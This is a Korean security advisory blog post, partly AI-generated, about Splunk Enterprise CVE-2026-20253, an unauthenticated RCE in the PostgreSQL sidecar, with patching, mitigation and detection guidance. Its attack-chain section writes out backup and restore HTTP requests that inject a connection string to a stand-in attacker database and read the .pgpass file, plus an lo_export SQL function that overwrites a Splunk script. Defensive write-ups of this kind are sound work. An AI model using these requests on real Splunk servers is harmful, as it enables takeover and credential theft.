DEEP DIVE REPORT

Splunk Enterprise 사이드카 미인증 RCE 취약점 (CVE-2026-20253) 분석

SecurityDesk
2026.06.18 조회 11

취약점 설명

CVE-2026-20253은 Splunk Enterprise의 PostgreSQL Sidecar Service 엔드포인트에 존재하는 심각한 보안 취약점입니다. 이 취약점은 PostgreSQL Sidecar Service 엔드포인트에 인증 컨트롤이 전혀 없어(CWE-306), 네트워크에서 접근 가능한 모든 사용자가 자격증명 없이 파일 작업을 수행할 수 있는 결함을 포함합니다.

초기에는 단순한 임의 파일 생성/절단 취약점으로 보고되었으나, 연구원(watchTowr Labs)에 의해 이 취약점이 사전 인증 원격 코드 실행(Pre-authenticated RCE)으로 연쇄될 수 있음이 밝혀졌습니다.


기술적 세부사항

취약한 컴포넌트

PostgreSQL Sidecar Service는 Splunk 버전 10에서 도입된 사이드카 서비스로, 다음과 같은 HTTP 엔드포인트를 노출합니다:

  • /v1/postgres/telemetry
  • /v1/postgres/health
  • /v1/postgres/recovery/backup
  • /v1/postgres/recovery/restore
  • /v1/postgres/recovery/status/{id}
  • /v1/postgres/status

취약점 원인

1. 인증 컨트롤 부재
- PostgreSQL Sidecar Service 엔드포인트는 어떤 인증 검증도 수행하지 않음
- Splunk 메인 웹 애플리케이션(port 8000)을 통해 로컬 PostgreSQL API에 요청 프록시 가능
- Authorization 헤더가 있더라도 비어있거나 무시됨

2. 경로 탐색(Path Traversal)
- backupFile 파라미터에 경로 탐색 문자열(../../../) 사용 가능
- 파일시스템의 임의 위치에 파일 생성 가능

3. PostgreSQL 연결 문자열 인젝션
- database 파라미터에 연결 문자열(Connection String) 사용 가능
- PostgreSQL의 연결 문자열 기능을 악용하여 원격 데이터베이스로 연결 가능
- 연결 문자열 파라미터(hostaddr, port, dbname 등)가 하드코딩된 명령행 옵션을 오버라이드

공격 체인 (Exploitation Chain)

watchTowr Labs가 입증한 RCE 공격 체인은 다음과 같습니다:

단계 1: 공격자 제어 데이터베이스 구성
- PostgreSQL 데이터베이스 배포
- 암호 없이 인증 가능한 사용자 생성 (pg_hba.conf 설정)
- lo_export 함수를 호출할 수 있는 충분한 권한 부여

단계 2: 악성 데이터베이스 덤프 생성 (Backup Endpoint 악용)

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup
Host: target-splunk
Content-Type: application/json
Authorization: Basic dGVzdDo=

{
  "database": "hostaddr=attacker.db.local dbname=malicious_db",
  "backupFile": "/tmp/malicious_dump"
}

- 공격자 제어 데이터베이스의 내용을 Splunk 파일시스템에 덤프
- pg_dump가 원격 데이터베이스에 연결하여 덤프 파일 생성

단계 3: 로컬 PostgreSQL 인증 (Restore Endpoint 악용)

POST /en-US/splunkd/__raw/v1/postgres/recovery/restore
Host: target-splunk
Content-Type: application/json
Authorization: Basic cG9zdGdyZXNfYWRtaW46

{
  "database": "dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass",
  "backupFile": "/tmp/malicious_dump"
}

- Splunk의 .pgpass 파일(/opt/splunk/var/packages/data/postgres/.pgpass) 경로 확인
- 이 파일에는 postgres_admin 사용자의 암호가 포함됨
- passfile 파라미터를 사용하여 로컬 PostgreSQL 인증 우회

단계 4: 악성 SQL 실행 및 파일 쓰기
- 데이터베이스 덤프 내의 SQL 쿼리가 Splunk PostgreSQL 인스턴스에서 실행
- lo_export 함수를 사용하여 공격자 제어 내용을 파일에 기록
- 예를 들어 Python 스크립트를 덮어쓰기:

CREATE OR REPLACE FUNCTION write_malicious_file()
RETURNS void AS $$
DECLARE
  fd integer;
BEGIN
  fd := lo_export(lo_import('/tmp/malicious_content'), '/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py');
END;
$$ LANGUAGE plpgsql;

단계 5: 원격 코드 실행
- Splunk가 자주 실행하는 Python 스크립트 덮어쓰기
- 예: /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
- 스크립트 실행 시 악성 페이로드 실행
- 완전한 시스템 장악 가능

핵심 기술적 요약

기술적 요소 설명
취약한 엔드포인트 /v1/postgres/recovery/backup, /v1/postgres/recovery/restore
인증 우회 엔드포인트에 인증 컨트롤이 없음 (CWE-306)
경로 탐색 backupFile 파라미터의 경로 탐색 취약점
연결 문자열 인젝션 database 파라미터의 PostgreSQL 연결 문자열 오버라이드
자격증명 유출 .pgpass 파일에 저장된 postgres_admin 암호 노출
RCE 경로 lo_export 함수를 통한 파일 쓰기 → Python 스크립트 덮어쓰기 → 코드 실행

영향 범위

영향을 받는 제품 및 버전

제품 영향 버전 수정 버전 비고
Splunk Enterprise 10.2.0 ~ 10.2.3 10.2.4 이상 PostgreSQL Sidecar 사용 시
Splunk Enterprise 10.0.0 ~ 10.0.6 10.0.7 이상 PostgreSQL Sidecar 사용 시
Splunk Enterprise 10.4.x 10.4.0 영향 없음
Splunk Enterprise 9.4.x 및 이하 N/A 영향 없음 (Sidecar 미도입)
Splunk Cloud Platform N/A N/A 영향 없음 (PostgreSQL Sidecar 미사용)

환경별 영향도

1. Splunk Enterprise on AWS
- 위험도: 매우 높음
- 기본 설치 시 PostgreSQL Sidecar Service가 설치되고 활성화됨
- 인터넷에 노출된 경우 즉시 공격 가능

2. Splunk Enterprise On-Premise (Windows)
- 위험도: 중간
- PostgreSQL Sidecar Service가 기본적으로 설치되지 않거나 비활성화
- 수동으로 활성화된 경우에만 영향

3. Splunk Enterprise On-Premise (Linux)
- 위험도: 중간 ~ 높음
- 배포 방식에 따라 다름
- PostgreSQL Sidecar Service 활성화 여부 확인 필요

취약점 노출 조건

다음 조건이 모두 충족될 경우 시스템이 취약함:

  1. Splunk Enterprise 버전 10.0.x 또는 10.2.x 사용 중
  2. PostgreSQL Sidecar Service가 설치되고 활성화됨
  3. 네트워크에서 PostgreSQL Sidecar Service 엔드포인트 접근 가능
  4. 직접 접근 또는 Splunk 웹 인터페이스를 통한 프록시
  5. 인터넷에 노출되거나 내부 네트워크에서 접근 가능한 상태

잠재적 영향

공격자가 성공적으로 취약점을 악용할 경우:

  • 임의 파일 생성/삭제: 시스템의 임의 위치에 파일 생성 또는 기존 파일 내용 절단
  • 서비스 거부(DoS): 중요한 데이터베이스 파일 삭제로 서비스 중단
  • 데이터 노출: 민감한 설정 파일, 로그, 암호 파일 접근
  • 권한 상승: Splunk 실행 권한으로 임의 코드 실행
  • 네트워크 이동: 내부 네트워크로의 사이드 이동(Lateral Movement)
  • 영구적 백도어: 지속적인 액세스를 위한 백도어 설치
  • 데이터 파괴: 중요 로그 및 인덱스 데이터 삭제

대응 방안

즉시 조치 (즉시 실행)

1. 패치 적용 (가장 권장)

영향을 받는 버전을 즉시 업그레이드하세요:

  • Splunk Enterprise 10.2.x → 10.2.4 이상으로 업그레이드
  • Splunk Enterprise 10.0.x → 10.0.7 이상으로 업그레이드
  • Splunk Enterprise 10.4.x → 10.4.0 이상 (영향 없음, 최신 버전 유지 권장)

업그레이드 절차:
1. 업그레이드 전 전체 백업 수행
2. 테스트 환경에서 업그레이드 테스트
3. 유지보수 기간 계획 및 사용자 통보
4. Splunk 공식 문서에 따라 업그레이드 진행
5. 업그레이드 후 기능 검증 수행

2. PostgreSQL Sidecar Service 비활성화 (완화 조치)

즉시 패치가 불가능한 경우:

다음 설정을 $SPLUNK_HOME/etc/system/local/server.conf에 추가:

[postgres]
disabled = true

변경 사항 적용:

# Splunk 서비스 재시작
/opt/splunk/bin/splunk restart

⚠️ 중요 경고:
- 이 완화 조치는 Edge Processor, OpAmp, SPL2 데이터 파이프라인을 사용하는 인스턴스에 적용하지 마세요
- PostgreSQL Sidecar Service 비활성화는 이러한 기능을 중단시키고 의존하는 사이드카 프로세스에 영향을 줌
- 코어 검색, 인덱싱, 대시보드 기능은 영향받지 않음

단기 대응 (24-72시간 이내)

1. 네트워크 격리 강화

  • 인터넷 노출 차단: Splunk 관리 인터페이스를 인터넷에 직접 노출하지 마세요
  • 방화벽 규칙 적용: 관리 포트(8000, 8089 등)에 대한 접근을 신뢰된 IP로만 제한
  • VPN/VPN-less 접속: 관리자는 VPN 또는 VPN-less 접속을 통해서만 접근 허용
  • 네트워크 세분화: Splunk 인스턴스를 격리된 네트워크 세그먼트에 배치

2. 접근 제어 강화

  • 최소 권한 원칙: 관리자 계정 최소화 및 정기적 검토
  • MFA 활성화: 관리자 계정에 다중 요소 인증 필수 적용
  • 감사 로그: Splunk 감사 로그 활성화 및 정기적 검토
  • 세션 타임아웃: 짧은 세션 타임아웃 설정

3. 모니터링 및 탐지

탐지 시그니처 예시 (SPL 쿼리):

index=_internal sourcetype=splunkd
(| uri_path=*postgres/recovery/backup*
 OR uri_path=*postgres/recovery/restore*)
| stats count by host, uri_path, status, user
| where count > 0

모니터링 항목:
- /v1/postgres/recovery/backup/v1/postgres/recovery/restore 엔드포인트 접근 시도
- 비정상적인 파일 시스템 활동
- 알 수 없는 프로세스 실행
- 관리자 계정의 비정상적인 로그인

장기 대응 (1주 이내)

1. 보안 하드닝

2. 취약점 관리 프로세스 강화

  • 정기적 스캔: 취약점 스캐너를 통한 정기적 스캔 수행
  • 패치 관리: 자동화된 패치 관리 프로세스 구축
  • 버전 관리: 사용 중인 모든 Splunk 버전 및 앱 버전 카탈로그화

3. 인시던트 대응 준비

  • 인시던트 대응 플레이북: 이 취약점에 대한 대응 절차 문서화
  • 포렌식 준비: 로그 수집 및 보관 정책 검토
  • 백업 및 복구: 정기적 백업 및 복구 테스트 수행

위협 레벨별 대응 가이드

위협 레벨 즉시 대응 (24시간 이내) 단기 대응 (72시간 이내) 장기 대응 (1주 이내)
Critical 1. 패치 적용 완료
2. 인터넷 노출 즉시 차단
3. PostgreSQL Sidecar 비활성화(가능 시)
1. 네트워크 격리 완료
2. 접근 제어 강화
3. 탐지 시그니처 배포
1. 보안 하드닝 완료
2. 취약점 관리 프로세스 강화
3. 인시던트 대응 플레이북 완료
High 1. 패치 계획 수립
2. PostgreSQL Sidecar 비활성화
3. 네트워크 노출 최소화
1. 패치 적용
2. 네트워크 격리
3. 접근 제어 강화
1. 보안 하드닝
2. 모니터링 강화
3. 인시던트 대응 준비
Medium 1. 영향도 평가 완료
2. 패치 일정 계획
3. 노출 범위 확인
1. 패치 적용
2. 네트워크 격리
3. 모니터링 구축
1. 보안 하드닝
2. 취약점 관리 강화
3. 정책 업데이트
Low 1. 영향도 평가
2. 패치 계획
3. 노출 확인
1. 패치 적용
2. 모니터링 구축
3. 로그 검토
1. 보안 정책 업데이트
2. 교육 및 인지 제고

현재 위협 레벨: Critical (CVSS 9.8)


검증 및 점검

취약점 확인 절차

1. 버전 확인

# Splunk 버전 확인
/opt/splunk/bin/splunk version

2. PostgreSQL Sidecar Service 상태 확인

# PostgreSQL Sidecar 프로세스 확인
ps aux | grep splunk-postgres

# PostgreSQL Sidecar 포트 확인
ss -tupln | grep -i splunk-postgres

3. .pgpass 파일 존재 확인

# .pgpass 파일 확인
find /opt/splunk -name .pgpass

# .pgpass 파일 내용 확인 (취약점 있을 경우)
cat /opt/splunk/var/packages/data/postgres/.pgpass

4. 취약한 엔드포인트 접근 테스트

⚠️ 주의: 이 테스트는 승인된 환경에서만 수행하세요.

# Backup 엔드포인트 테스트
curl -k -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic Og==" \
  -d '{"database":"search_metadata","backupFile":"test"}' \
  https://splunk-server:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup

패치 확인 절차

1. 버전 확인

# 패치된 버전인지 확인
/opt/splunk/bin/splunk version | grep -E "10\.0\.7|10\.2\.4|10\.4\.0"

2. PostgreSQL Sidecar Service 비활성화 확인

# server.conf 확인
cat /opt/splunk/etc/system/local/server.conf | grep -A 2 "\[postgres\]"

# disabled = true 확인

출처 및 참고자료

공식 자료

  1. Splunk Security Advisory - SVD-2026-0603
  2. 발행일: 2026년 6월 10일
  3. 최종 업데이트: 2026년 6월 15일

  4. Splunk Documentation:

  5. Secure Splunk Enterprise
  6. Sidecar Configuration Settings
  7. PostgreSQL Configuration

  8. NVD CVE Record - CVE-2026-20253

  9. MITRE CVE Record - CVE-2026-20253

기술 분석 및 연구

  1. watchTowr Labs - Why Use App-Level Auth When Every Database Has Auth? (Splunk Enterprise CVE-2026-20253 Pre-Auth RCE)
  2. 연구원: Piotr Bazydlo, Yordan Ganchev
  3. 상세한 공격 체인 및 기술적 분석

  4. Orca Security - Critical Splunk Enterprise Vulnerabilities Allow Unauthenticated File Operations and Remote Code Execution

  5. 취약점 개요 및 완화 권고사항

  6. The Hacker News - Critical Splunk Enterprise Flaw Lets Attackers Run Code Without Authentication

  7. 취약점 공개 및 영향 분석

  8. NetSPI - Splunk Enterprise Unauthenticated Arbitrary File Operations/RCE (CVE-2026-20253)

  9. 기술적 개요 및 대응 전략

보안 공급사

  1. Tenable - CVE-2026-20253
  2. CVSS 점수 및 위험 정보

  3. Positive Technologies - CVE-2026-20253

  4. 취약점 분석

부록

A. 관련 CVE

CVE-2026-20253와 함께 공개된 관련 취약점:

  • CVE-2026-20251 (CVSS 8.8): Splunk Secure Gateway 앱의 안전하지 않은 역직렬화 취약점
  • CVE-2026-20252 (CVSS 7.6): Dashboard Studio의 SSRF 취약점
  • CVE-2026-20258 (CVSS 7.1): 클래식 대시보드 HTML 패널의 XSS 취약점

B. 기술 용어

  • Sidecar Service: Splunk 10에서 도입된 보조 서비스로, 메인 Splunk 프로세스와 별도로 실행되는 PostgreSQL 데이터베이스 서비스
  • Path Traversal: 파일 경로 조작을 통해 시스템의 의도하지 않은 파일에 접근하는 공격 기법
  • Connection String Injection: 데이터베이스 연결 문자열에 악성 파라미터를 주입하여 연결 동작을 조작하는 공격 기법
  • lo_export: PostgreSQL의 large object export 함수로, BLOB 데이터를 파일 시스템에 저장하는 기능
  • Pre-authenticated RCE: 인증 과정을 거치지 않고 원격 코드 실행을 달성하는 공격

C. 공지 템플릿

내부 보안 공지 템플릿:

[긴급] Splunk Enterprise 심각한 취약점(CVE-2026-20253) 패치 요청

개요:
- CVE ID: CVE-2026-20253
- CVSS 점수: 9.8 (Critical)
- 영향 버전: Splunk Enterprise 10.0.0-10.0.6, 10.2.0-10.2.3
- 영향: 인증되지 않은 원격 코드 실행 가능

즉시 조치:
1. 현재 Splunk 버전 확인
2. 영향을 받는 버전인 경우 즉시 패치 적용
   - 10.2.x → 10.2.4 이상
   - 10.0.x → 10.0.7 이상
3. 패치가 불가능한 경우 PostgreSQL Sidecar Service 비활성화

완료 기한: [날짜]

담당자: [이름/팀]

요약

CVE-2026-20253은 Splunk Enterprise의 PostgreSQL Sidecar Service에 존재하는 인증되지 않은 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 다음과 같은 특징을 가집니다:

  1. 최대 위험도: CVSS 9.8 (Critical)
  2. 인증 불필요: 자격증명 없이 공격 가능
  3. 완전 장악 가능: 성공적 공격 시 시스템 완전 장악 가능
  4. 폭넓은 영향: Splunk Enterprise 10.0.x 및 10.2.x 버전 영향
  5. 공격 체인 입증: watchTowr Labs에 의해 실제 RCE 공격 체인 입증됨

즉시 패치 적용이 필수적이며, 패치가 불가능한 경우 PostgreSQL Sidecar Service를 비활성화해야 합니다.


본 콘텐츠는 AI 기술로 생성된 분석 리포트를 포함하고 있습니다. 내용 중 사실과 다르거나 보완이 필요한 정보를 발견하시면 댓글을 통해 소중한 의견 부탁드립니다. 여러분의 피드백은 더 정확한 보안 정보 공유에 큰 도움이 됩니다.

댓글 (0)

댓글을 작성하려면 로그인이 필요합니다.

로그인

아직 댓글이 없습니다.

첫 번째 댓글을 작성해보세요!

IT 도구 서랍

→ Unix: 2025-01-15T09:30:00
→ 날짜: 1736934600

→ ASCII: ABC
→ 문자: 65 66 67

ASCII 코드표 — 클릭하면 입력란에 추가

DecHex약어설명
DecHex문자
DecHex문자

→ 유니코드: 홍길동
→ 문자: \ud64d\uae38\ub3d9